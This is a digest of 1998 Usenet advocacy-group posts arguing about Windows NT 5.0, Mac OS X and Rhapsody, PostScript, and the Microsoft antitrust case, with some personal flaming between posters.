>Maybe... He's had his hands on Smalltalk, Objective-C, Python, Eiffel, or any
>other well-designed OO development language?
>
>Just a guess...
It's true, Java's OO isn't as nifty as ObjC's. When I posted that some of
it was "seriously impressive", I had in mind things like the security
model, which warms the cockles of my sysadmin heart.
--
Ben
"You have your mind on computers, it seems."
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: 10 Jun 1998 19:20:57 GMT
Organization: Cygnus Solutions
Message-ID: <6lmmap$k2i$3@cronkite.cygnus.com>
References: <6lk75t$afl@newsb.netnews.att.com> <357ECD5C.15FB7483@ctron.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: alasalle@ctron.com
In <357ECD5C.15FB7483@ctron.com> "A. J. LaSalle" wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> >
> > Finally, Rob Enderle says something, that makes sense, IMO.
> > -arun gupta
> >
> > http://www.infoworld.com/cgi-bin/displayStory.pl?98068.wcntskip.htm
> >
> > Analysts at GigaWorld say skip NT 5.0
> >
> > Quote :
> > With 30 million lines of code, 85 percent of which is new,
> > Windows NT 5.0 is likely to be buggy, said Rob Enderle,
> > director of desktop and mobile technology at Giga....
> >
> > "It's too complex and too new," Enderle said.
> > "Even inside Microsoft, there's a realization that the product
> > won't ramp to volume till NT 6.0 because of the fear of initial
> > releases."
> >
> > Enderle advised waiting until service pack 3, or NT 5.5, which
> > could be out a year or so after NT 5.0
> >
> > End quote.
>
> Well, MacOSX will be shipping with millions of lines of new code!
> And will be adding alot of complexity with a new kernel, and
> MacOS8, MacOSX, openStep apis, BSD, etc. sitting on top of it.
> The real proof is in how well its done. I wouldn't judge NT5.0
> or MacOSX by the number of lines of code. I'm sure the x.0 releases
> of both will have their share of problems.
>
I don't think that's a logical assumption. I mean, yes to the part about
both being X.0 releases and will thus have some share of problems. But I
don't think they're at all in the same ball park in terms of "how much new,
and thus unproven, code they will have".
It has been specifically stated than NT will be 85% new code.
However, MacOS X, while it may indeed have new code, will also be largely
building on things that come before it. The MacOS 8 layer will be in the
blue box, which should be complete by Rhaspody 1.0 (perhaps it's even
complete now). That means that by MacOS X, Blue Box will be in its second
major release. And, if you cound the MAE group that Blue Box grew out of, it
will be in its third or more major release. It should not need a major
re-write to migrate it to MacOS X.
The Openstep apis are a port from another OS (based on the same OS
infrastructure). In general, they'll be in their third major release, and
their second major release on Mach3, BSD 4.4, and PowerPC, when it is
released on MacOS X. With the exception of those parts of the appkit that
rely on DPS, it should also not require significant retooling.
The BSD layer should be a no brainer. They've got lots of experience with
BSD, they've got lots of people to draw on to get it ready for Rhapsody.
Apple's BSD 4.4 layer will be in its second major release when MacOS X is
released. It should migrate to MacOS X immediately.
All of these technologies grew out of previous (previous to MacOS X)
technologies that are already reaching stability, and live on top of a kernel
that allows their 'as is' reuse in MacOS X. (ie. they shouldn't need to
re-impliment Blue Box nor BSD 4.4 for MacOS X.. they should be able to pretty
much just plug it in). The only issue will be the DPS/DPDF factor.
Even Carbon, a new technology, will be in its second major release by the
time MacOS X ships.
So, I would expect the ratio of new code between (Rhapsody&MacOS 9):MacOS X
to be MUCH lower than the same (and already stated) ratio for NT4:NT5.
Ofcourse, Apple hasn't said exactly how much of MacOS X's code will be new..
so there's no telling for sure. But if you're going to jump to conclusions,
it's more logical to jump in MacOS X's favor, not against it.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 10 Jun 1998 20:09:06 GMT
Organization: P & L Systems
Message-ID: <6lmp52$to$6@ironhorse.plsys.co.uk>
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NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
In <slrn6ntje5.g7.jason@jhste1.dyn.ml.org> Jason S. wrote:
> mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>
> >> Exactly. I'd bet that Klansmen are really nice to one another too.
>
> >How ironic that you use the rather distasteful example of the Klan, when
you
> >expose yourself as a racist elsewhere
> >(<slrn6nrlp3.515.jason@jhste1.dyn.ml.org>).
>
> I'd hardly call that racism.
>
From the dictionary:
racism: racial prejudice or discrimination
It sure looked like "racial prejudice or discrimination" to me.
Why else did your post have no meaning when you found out I'm not "English"?
(Not that it had a lot of meaning before.)
But then I guess you believe that anyone who isn't born in the Good Ol' USA,
salutes the Flag every morning, and eats apple pie every night is a lower
form of life that deserves a good kicking anyway. And if you can't kick them,
debase them in a newsroup instead. Welcome to comp.sys.mac.aryan
mmalc.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 20:45:50 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nts3u.n12.sal@panix3.panix.com>
References: <35796BDB.2AEDD69@trilithon.com> <B19EBDA9-1BDD5@206.165.43.115> <6levgb$adf$10@ironhorse.plsys.co.uk> <ldo-1006981707060001@a53.hn3.wave.co.nz> <6llk0a$hs1$5@ns3.vrx.net> <slrn6ntoqt.q83.ben@ben.tapehouse.net>
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On 10 Jun 1998 19:46:48 GMT, Ben Rosengart <ben@ben.tapehouse.net> wrote:
>In article <6llk0a$hs1$5@ns3.vrx.net>, Maury Markowitz wrote:
>>In <ldo-1006981707060001@a53.hn3.wave.co.nz> Lawrence D¹Oliveiro claimed:
>>> problem of the lack of device independence of PostScript
>> Everyone here, read that last portion over and over.
>I read it three times, and it still doesn't make sense to me. Help!
PS can render to displays (DPS as used by NeXT and Apple Rhapsody)
PS can render to printers. (As used by thousands of PS printers)
PS can render to .eps files and PDF files. These files can be read by
users who lack a full PS system. Those files can also be edited.
PS can render on monochrome and color devices. It can render color at
different bit levels and handle the dithering automaticly. PS can use
any of a number different color models. RGB, CYMK...
PS is about as device independant as you can get. Can you name any other
imaging system that has been implemented in as many different devices
as PS has? I can't.
--
sal@panix.com
Salvatore Denaro
From: pyeatt@dorsey.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 10 Jun 1998 20:19:22 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <6lmpoa$26lc@yuma.ACNS.ColoState.EDU>
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In article <357DEE3F.5672@convex.com>,
Michael Peck <MJPECK@CONVEX.COM> writes:
> T. Max Devlin wrote:
>
>> >The case itself is about "tying", a purportedly illegal practice
>> >involving the requirement of one product to be sold with another. The
>> >crux of the case is that Microsoft, in tying Internet Explorer to the
>> >Windows operating system, has leveraged *vendor dependence* on Windows
>> >into successful market endeavors with regard to Internet Explorer.
>>
>> No, that was the contempt charge in reference to the consent decree.
>> While that is an issue, it is hardly the "crux" of the case. The crux
>> of the case is that Microsoft is a monopolistic monstrosity which
>> restrains trade and impeded both competition and innovation by doing so.
>
> Obviously not, or millions of domestic businesses would be subject to
> similar litigation on the basis of business practices performed daily in
> public view.
Only if "millions of domestic businesses" are monopolies. Monopolies
have to play by different rules than other companies. That is the
basis of anti-trust law.
> The crux of the case is that Microsoft's practices have
> somehow transgressed an invisible line left up to the determination of
> the sitting administration.
If you insist that the case has a "crux," then
the crux of the case is that Microsoft's practices have
somehow transgressed the rules set up for monopolies.
> The extent to which Microsoft transgresses this line, as elucidated in
> the DoJ briefing, places Microsoft in a very impressive and
> broadly-realized position in the computer industry. Thereupon rests the
> great contradiction originally described by KAZ Vorpal.
Your premise: "The crux of the case is that Microsoft's practices have
somehow transgressed an invisible line left up to the determination of
the sitting administration." is false. Therefore, the remainder
of your argument and your conclusions have no support.
This in commonly known as arguing from a faulty premise.
>> >Please post the parts of the Sherman Anti-Trust act prohibiting the
>> >destruction of competition.
>>
>> "restraint of trade is illegal". Well, OK, I admit, it is not an exact
>> quote, but it is the text (not just the jist) of the basic statute.
>
> Gist nothing. Gist has little to do with litigation, Mr. Devlin.
> Restraint of trade may well be illegal, but 'destruction of competition'
> is not the same thing.
You are correct that `restraint of trade' is not the same as
`destruction of competition.' Any sane person can see that
`destruction of competition' is only ONE way to restrain trade.
You must be using Microsoft Logic 3.2; the most buggy piece of
software ever to come from Redmond.
>> I imagine that you will fail to see how destroying the competition
>> is restraint of trade.
You were right. This guy has no clue.
> You are so prescient.
>
>> Then again, you fail to see a lot of things.
>
> Truly, truly. Please do your best to explain.
Any teacher is only as good as his students. I'm afraid that
Mr. Peck is a lost cause.
> Or perhaps you could leave it up to the Logic Professor. Either of
> you can serve capably, I am sure. ^^^^^^^^^^^^^^^
I assume that means me. How did you know that I taught logic this
semester? I guess my brilliance just shows, even to someone as
dull as Mr. Peck. From now on, feel free to call me Dr. Pyeatt,
although that won't be official until December.
Now that you have singlehandedly established that I am far more
knowledgable than yourself, shall we continue the lesson^H^H^H^H^H^H
discussion?
>> Oh, but we _can_ argue alone on the merits of Navigator as a separate
>> app, regardless of the effect of integrating IE into Windows.
>
> You're free to argue whatever you like. I don't have to believe it's a
> valid argument (nor does the buying public, which did not elect the
> Justice Department).
How can YOU speak for "the buying public?" There are at least 2 flaws
in your statement.
1) You claim that "the buying public" thinks that IE is not a separate
app, but you provide no substantiation.
2) Your argument assumes that "the buying public" is qualified to
tell the difference between the OS and an application. Please
provide data to support your position.
>> The industry thrives with competition.
>
> True.
>
>> Microsoft's monopoly suppresses or prevents competition.
>
> Microsoft's business *is* competition. Very successful competition.
Um, I thought their business was operating systems and software to
run on them. Imagine, a company that markets and sells "competition."
I think I will start selling "blue."
>> Hurting Microsoft is therefore good for the industry.
>>
>> Somehow, I don't think that's what you wanted to hear.
>
> Oh, don't worry. My ears are numb with the clanging of such liberal
> trash every time I turn around. It's rather a popular doctrine , don't
> you know (not to mention a loudly- and brashly-proclaimed one).
That is a good one:
using "liberal" as if it were something bad,
and claiming that Anti-trust is a liberal idea.
ROTFL.
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 20:44:31 GMT
Organization: I don't think so
Message-ID: <slrn6ntsf5.148.jason@jhste1.dyn.ml.org>
References: <slrn6nqsvm.ntc.ben@ben.tapehouse.net> <B1A2FE3D-A87E5@206.165.43.79> <slrn6nrftj.4kc.jason@jhste1.dyn.ml.org> <6lmh18$to$4@ironhorse.plsys.co.uk> <slrn6ntje5.g7.jason@jhste1.dyn.ml.org> <6lmp52$to$6@ironhorse.plsys.co.uk>
mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>> I'd hardly call that racism.
>From the dictionary:
> racism: racial prejudice or discrimination
>It sure looked like "racial prejudice or discrimination" to me.
Well, being from England isn't about race, first of all. Also, the remark
did not demean the English, but rather paraphrased a line from a well-
known novel.
>Why else did your post have no meaning when you found out I'm not "English"?
>(Not that it had a lot of meaning before.)
<quote>
>> Lawson, mmmmmalcolm lives in England. He's one of _those_ people.
>> Remember Golding's "Lord of the Flies"? He's English - they're
>> the best.
>Actually I'm not English. Your point?
Ooops. Sorry.
</quote>
Um, the line from LOTF was (paraphrased) "we're English. That means we're
the best" or something like that. If you're not English, it obviously doesn't
apply to you.
>But then I guess you believe that anyone who isn't born in the Good Ol' USA,
>salutes the Flag every morning, and eats apple pie every night is a lower
>form of life that deserves a good kicking anyway. And if you can't kick them,
>debase them in a newsroup instead. Welcome to comp.sys.mac.aryan
I see that the reference went right over your head, so you resort to
making up stuff like this.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 10 Jun 1998 20:51:44 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <357EF1E0.F83BE28C@nstar.net>
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Larry Pyeatt wrote:
> Only if "millions of domestic businesses" are monopolies. Monopolies
> have to play by different rules than other companies. That is the
> basis of anti-trust law.
This is a twisty argument, indeed. Kindly explore the basis upon which
Microsoft is a monopoly. In operating systems? In Internet browsers?
> If you insist that the case has a "crux," then
> the crux of the case is that Microsoft's practices have
> somehow transgressed the rules set up for monopolies.
Somehow? The Sherman laws do not, as far as I know, distinguish between
monopolies and normal businesses. They prohibit the "restraint of
trade". If, as you say, destruction of competition is a form of
restraint of trade, then all businesses which hamper the success of
their competitors are directly in violation of the Sherman laws.
> Your premise: "The crux of the case is that Microsoft's practices have
> somehow transgressed an invisible line left up to the determination of
> the sitting administration." is false.
When you teach logic, do you teach your students to back up assertions,
or do they feel free to pass in papers that say "You're wrong, therefore
there's no point in arguing with you."? I'll bet you write "coward"
across the top of the paper, as I would to yours.
> Therefore, the remainder
> of your argument and your conclusions have no support.
>
> This in commonly known as arguing from a faulty premise.
The sentence you quoted makes more than one assertion, too subjective to
be called a "premise". I suggest you reevaluate for your second draft.
> You are correct that `restraint of trade' is not the same as
> `destruction of competition.' Any sane person can see that
> `destruction of competition' is only ONE way to restrain trade.
Sanity is a valid argument in a court of logic, Mr. Pyeatt? Ah, the
tragedy of our educational system. Pray tell, where do you teach?
> You must be using Microsoft Logic 3.2; the most buggy piece of
> software ever to come from Redmond.
>
> >> I imagine that you will fail to see how destroying the competition
> >> is restraint of trade.
>
> You were right. This guy has no clue.
[...]
> Any teacher is only as good as his students. I'm afraid that
> Mr. Peck is a lost cause.
[...]
> I guess my brilliance just shows, even to someone as
> dull as Mr. Peck.
[...]
> Now that you have singlehandedly established that I am far more
> knowledgable than yourself, shall we continue the lesson^H^H^H^H^H^H
> discussion?
Although I'm loathe to invoke the specter of ad hominem attacks, when
discussing such matters with a professor of logic, I cannot help but
blanch in embarassment for you. How fortunate for you that your students
won't bear witness to this!
> How can YOU speak for "the buying public?"
I don't! Mad professor, the buying public speaks for itself...
> There are at least 2 flaws
> in your statement.
> 1) You claim that "the buying public" thinks that IE is not a separate
> app, but you provide no substantiation.
I make no such claim. When you teach your students to make rebuttals,
don't you teach them to make *correct* rebuttals?
> 2) Your argument assumes that "the buying public" is qualified to
> tell the difference between the OS and an application. Please
> provide data to support your position.
I make no such assumption. Don't you feel it's important to make
rebuttals to a specific argument, rather than one you've dreamed up?
> > Microsoft's business *is* competition. Very successful competition.
>
> Um, I thought their business was operating systems and software to
> run on them. Imagine, a company that markets and sells "competition."
> I think I will start selling "blue."
Ha, how disingenuous. You're showing off remarkable skills, professor.
Somewhere on the level of a high-school Speech 'n' Debate team.
> > Oh, don't worry. My ears are numb with the clanging of such liberal
> > trash every time I turn around. It's rather a popular doctrine , don't
> > you know (not to mention a loudly- and brashly-proclaimed one).
>
> That is a good one:
> using "liberal" as if it were something bad,
Again, what you read into my statement. If you took it that way, you're
welcome to it. Draw your own conclusions, but don't play public eiogesis
with me. Logic, professor, is a science, no?
> and claiming that Anti-trust is a liberal idea.
'Anti-trust' is a label you assigned to my indirect reference.
> ROTFL.
You are a very funny sort of professor, Mr. Pyeatt. I remember the likes
of you from community colleges where I sortied during Junior High. Wait!
Don't tell me!...Foothill College! No, Monroe County?
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Wed, 10 Jun 1998 20:53:30 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <357EF24A.47342037@nstar.net>
References: <35796BDB.2AEDD69@trilithon.com> <B19EBDA9-1BDD5@206.165.43.115> <6levgb$adf$10@ironhorse.plsys.co.uk> <ldo-1006981707060001@a53.hn3.wave.co.nz> <6llk0a$hs1$5@ns3.vrx.net> <slrn6ntoqt.q83.ben@ben.tapehouse.net> <slrn6nts3u.n12.sal@panix3.panix.com>
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Salvatore Denaro wrote:
[cut]
> PS is about as device independant as you can get. Can you name any other
> imaging system that has been implemented in as many different devices
> as PS has? I can't.
Manuscript? Spray paint?
MJP
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 20:52:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ntsfj.n12.sal@panix3.panix.com>
References: <slrn6nqsvm.ntc.ben@ben.tapehouse.net> <B1A2FE3D-A87E5@206.165.43.79> <slrn6nrftj.4kc.jason@jhste1.dyn.ml.org> <6lmh18$to$4@ironhorse.plsys.co.uk> <slrn6ntje5.g7.jason@jhste1.dyn.ml.org> <6lmp52$to$6@ironhorse.plsys.co.uk>
On 10 Jun 1998 20:09:06 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>But then I guess you believe that anyone who isn't born in the Good Ol' USA,
>salutes the Flag every morning, and eats apple pie every night is a lower
>form of life that deserves a good kicking anyway. And if you can't kick them,
Doubly so if they speak French.
:)
--
sal@panix.com
Salvatore Denaro
From: "A. J. LaSalle" <alasalle@ctron.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: Wed, 10 Jun 1998 16:54:03 -0400
Organization: Cabletron Systems Inc.
Message-ID: <357EF26B.FF6D5DF@ctron.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> A. J. LaSalle <alasalle@ctron.com> wrote:
SNIP
>
> So, even if Carbon is entirely new (which I doubt), since it is
> 80% of the original MacOS APIs, it will be less than 5 million lines.
They're not rewriting any of the old APIs? The new services will add
negligible amounts of code?
>
> b. The Mach kernel is not new code; and Apple's version will be
> in at least its second release for MacOS X (the first Apple version
> of the kernel will be in Rhapsody 1.0).
I thought that MacOSX was going to sit on top of a Mach3.0 (with some
of 4.0 in it)? If so, I guess its still in its second release (soft of)
since MkLinux uses Mach3.0.
>
> c. The OpenStep APIs, BSD will not be new code, rather modifications
> of existing code, which itself has been around for a long time.
>
> -arun gupta
Anyway, no doubt that NT5.0 will have alot of code and probably
considerably more than MacOSX. It will also likely contain more
built in features (what does the 35M LOC refer to: workstation,
server? Does this number included IIS? Directory services?
Built in IE?.....
Why does Mr Enderle consider waiting till SP3 (for NT5.0), why does
he suggest that will take a year or so. etc etc etc.
My points are that both NT5.0 and MacOSX will be substantially
more complex OSes than their predecessors and that Mr Enderle's
estimates are meer guess work and thus constitute FUD. I don't
like FUD, whether directed against the MacOS or WinNT. If its
wrong for Wintel advocates, its wrong for Mac advocates.
AJ LaSalle
--
Winston Churchill's six words on how to succeed - "Never, never, never,
never, give up."
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 23:29:29 GMT
Organization: P & L Systems
Message-ID: <6ln4sp$to$11@ironhorse.plsys.co.uk>
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Cc: jason@jhste1.dyn.ml.org
In <slrn6nu0jn.148.jason@jhste1.dyn.ml.org> Jason S. wrote:
> mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>
> >> >csna -- that's the current context.
> >> How so? The header has csma too, and that's the one that I'm reading.
> >The quotes you snipped...
> <snip>
> >... point to csna as the primary context.
>
> Interesting, since I don't read csna.
>
You've forgotten the question:
When are you going to contribute something useful to csna? Given the amount
of cross-posting I can't believe you haven't had a suitable opportunity.
> Anything of yours that I have read has been crosposted to csma.
> And most of it consists of attacks on poor Lawson.
>
What tosh. I'll certainly admit that a lot of time recently has been spent
defending Apple's choice of imaging model for MacOS X, and that Lawson's come
in for more heat than usual over this, however if you've been reading my
crossposts for as long as you claim then the majority most certainly does not
consist either of attacks on Lawson, or on anything related to Lawson. That
you think this is the case clearly demonstrates the detrimental effect he is
having on the groups.
> >Now, are you going to say anything constructive, or simply waste more
> >bandwidth?
>
> Funny how it is okay for you to crosspost attacks on Lawson in csma,
>
Did I say it was OK? For the most part I try to avoid blatant ad hominem
attacks; occasionally I have moments of weakness, though. I take it it's OK
for you to crosspost attacks on me, though?
I also note you're still avoiding saying anything constructive.
Here, let me help you out. Using your own skill and judgement, complete this
sentence:
"Apple has long been at the forefront of..."
> but it's a "waste [of] bandwidth" for me to defend Lawson in a crosspost
> between csma an csna. Pot. Kettle. Etc.
>
Hmm, you missed out the word "black" -- something bothering you there...?
> Oh, yeah, it's also funny how my statement that NeXT advocates are
> arrogant is an "obnoxious lie" but your ridiculous assertion that I am
> a racist is somehow acceptable.
>
You posted a racist message. QED.
mmalc.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 11 Jun 1998 00:20:23 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6ln7s7$o45$1@camel21.mindspring.com>
References: <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <6lmpoa$26lc@yuma.ACNS.ColoState.EDU> <357EF1E0.F83BE28C@nstar.net> <slrn6nttma.148.jason@jhste1.dyn.ml.org>
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In article <357E9F05.8F4376E4@nstar.net> Michael J. Peck,
mjpeck@nstar.net writes:
>Is it really so hard for some people to believe that there are
>principles higher than either love or hatred of Microsoft? Advocates of
>liberty and Austrian economics are unfailingly branded "favoritists" of
>some kind nowadays. It's particularly odious, and ironic, since the goal
>of free-economics is fair play itself.
>
>Perhaps it's just the pernicious nature of liberal political thought to
>attempt a reversal, of sorts, in order to masquerade as "fairness" and
>paint true fairness as "greed" and favoritism. I am put in mind of
>racist voting laws in the South, always defended on the basis of
>"fairness". By contrast, opponents of Jim Crow laws in the South were
>often branded "n*****-lovers".
>
>MJP
MJP, wild-eyed libertarian anarchist radical, strikes again.
;-)
Mike, I agree with you politically, although I disagree with your taste
in operating systems.
I think Windows stinks. You said "you get used to it" and "it isn't too
bad". Hehe.
Matthew Cromer
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 11 Jun 1998 01:45:22 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6nudli.hfm.sal@panix3.panix.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <01bd94d0$42ddea30$04387880@test1>
On 11 Jun 1998 00:32:45 GMT, Todd Heberlein <todd@NetSQ.com> wrote:
>See the following web address for a bad picture:
> http://www.rockcity.net/01specs/01a-overview.html
>It is also being discussed in the "Rock City" thread.
As much as I like the idea of the Panda folks building machines that aren't
beige mini-tower boxes; I think the rock city box looks a tad gaudy for my
tastes. Maybe it is just the bad web picture. Is it supposed to look
"weathered"?
--
sal@panix.com
Salvatore Denaro
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 10 Jun 1998 18:10:12 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1daej6m.1ebdfvwagsq0dN@sextans144.wco.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <yz0f1.12125$Kx3.12416544@news.rdc1.sdca.home.com> <rmcassid-0806982301310001@dialin33413.slip.uci.edu> <oB5f1.12152$Kx3.12551461@news.rdc1.sdca.home.com> <markeaton-0906981939020001@user-38ld6dj.dialup.mindspring.com> <*johnnyc*-1006980254140001@jchristie.halifaxcable.dal.ca>
John Christie <*johnnyc*@or.psychology.dal.ca> wrote:
> In article
> <markeaton-0906981939020001@user-38ld6dj.dialup.mindspring.com>,
> markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
>
> > In article <oB5f1.12152$Kx3.12551461@news.rdc1.sdca.home.com>,
> > rr6013@yahoo.com (Rex Riley) wrote:
> > > Nah... don't need to. Carbon runs only on TOP of YellowBox (YB) API's.
> > > There's no YB in 8.5, 8.6 and 9.0.
> >
> > This is completely untrue. Carbon runs directly on the MacOS X core OS.
>
> We really don't have proof of either yet.
A little bird tells me that Mark Eaton has a better idea of what's going
on than others on this thread. :-)
At the bottom, there's the CoreOS kernel. Above that are Core Services,
including low level graphics, windowing, events, and other common bits
of functionality. On top of the Core Services are the Carbon, Yellow,
and other APIs.
--
Mike Paquette mpaque@wco.com
"Troubled Apple Computer" and the "Troubled Apple" logo are trade and
service marks of Apple Computer, Inc.
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 11 Jun 1998 00:32:45 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd94d0$42ddea30$04387880@test1>
References: <6lmhvn$k2i$2@cronkite.cygnus.com>
John Rudd <jrudd@cygnus.com> wrote
> Someone is about to release a PC in a fashionable black cube!
See the following web address for a bad picture:
http://www.rockcity.net/01specs/01a-overview.html
It is also being discussed in the "Rock City" thread.
The innovative feature is the brace that stands it up on the cube's
corner. Combined with the flat panel monitor (a fairly small one),
it takes very little desk space.
With a 233 MHz Cyrix, with a board supporting a maximum CPU speed of
300 MHz, it looks pretty underwhelming.
Todd
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 11 Jun 1998 02:22:40 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6lnf1g$d8e$17@blue.hex.net>
References: <6lmhvn$k2i$2@cronkite.cygnus.com>
On 10 Jun 1998 18:06:47 GMT, John Rudd <jrudd@cygnus.com> wrote:
>
>Got my new issue of PS in the mail the other day.. in their section
>previewing new high tech products, they mention a great new idea in personal
>computing:
>
>Someone is about to release a PC in a fashionable black cube!
>
>Wow, the innovation in the PC market will never cease to amaze me..
The *important* innovative question is, of course, whether the "Rock
City" PC comes with the girl or not...
(Before flaming such flagrant and obvious sexism, first see the web site
at <http://www.rockcity.com>...)
--
"Are [Linux users] lemmings collectively jumping off of the cliff of
reliable, well-engineered commercial software?" (By Matt Welsh)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: mightbe_peterw@clark.net.foo.com (PeterW att clark .net)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 11 Jun 1998 01:29:12 GMT
Organization: NewsReader/2 for OS/2 Warp v. 4
Message-ID: <6lnbt8$bcd$2@clarknet.clark.net>
References: <vik-0806981034470001@p20.hwts04.loop.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In <vik-0806981034470001@p20.hwts04.loop.net>, vik@loop.com (Vik Rubenfeld) writes:
>What do you guys make of this article at:
>
><http://www.zdnet.com/macweek/1222/nw_rhapsody.html>
>
>> ...The OS will live on as a product but won't
>> evolve past the first customer releases for Intel-standard and PowerPC
>> platforms due this fall.
>>
>>After Version 1.0, "There are no plans for releases of Rhapsody,"
>Bereskin said.
Boy, that should sell worse than OS/2. I can just see them advertising it
like one of those Disney home videos: get the classic NeXTstep now! Updated
with Advanced Macintosh User Interface! Buy now, we won't be selling it
much longer!
Just as Microsoft Corporation is buying some not-anti-UNIX ads, Apple retreats.
What a disappointment. MacOS X had better be much better than I expect.
I can't sign off without lambasting Jobs, can I? Talks APPL into giving him
$400m US for a product that now they don't really want to sell. If they don't
sell it, nobody can say it was a failure. Brilliant, SJ. Always a new twist.
Thanks for the URL. I was wondering what happened to "Rhapsody".
-Peter
----------------------------------------------------------------
- OS/2 Warp 4 - peterw*clark.net - Linux/X-Windows -
- Technology is only as good as the good it does. -
----------------------------------------------------------------
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Wed, 10 Jun 1998 23:10:54 -0700
Organization: Trilithon Research and Trading
Message-ID: <357F74EE.FD00F0CB@trilithon.com>
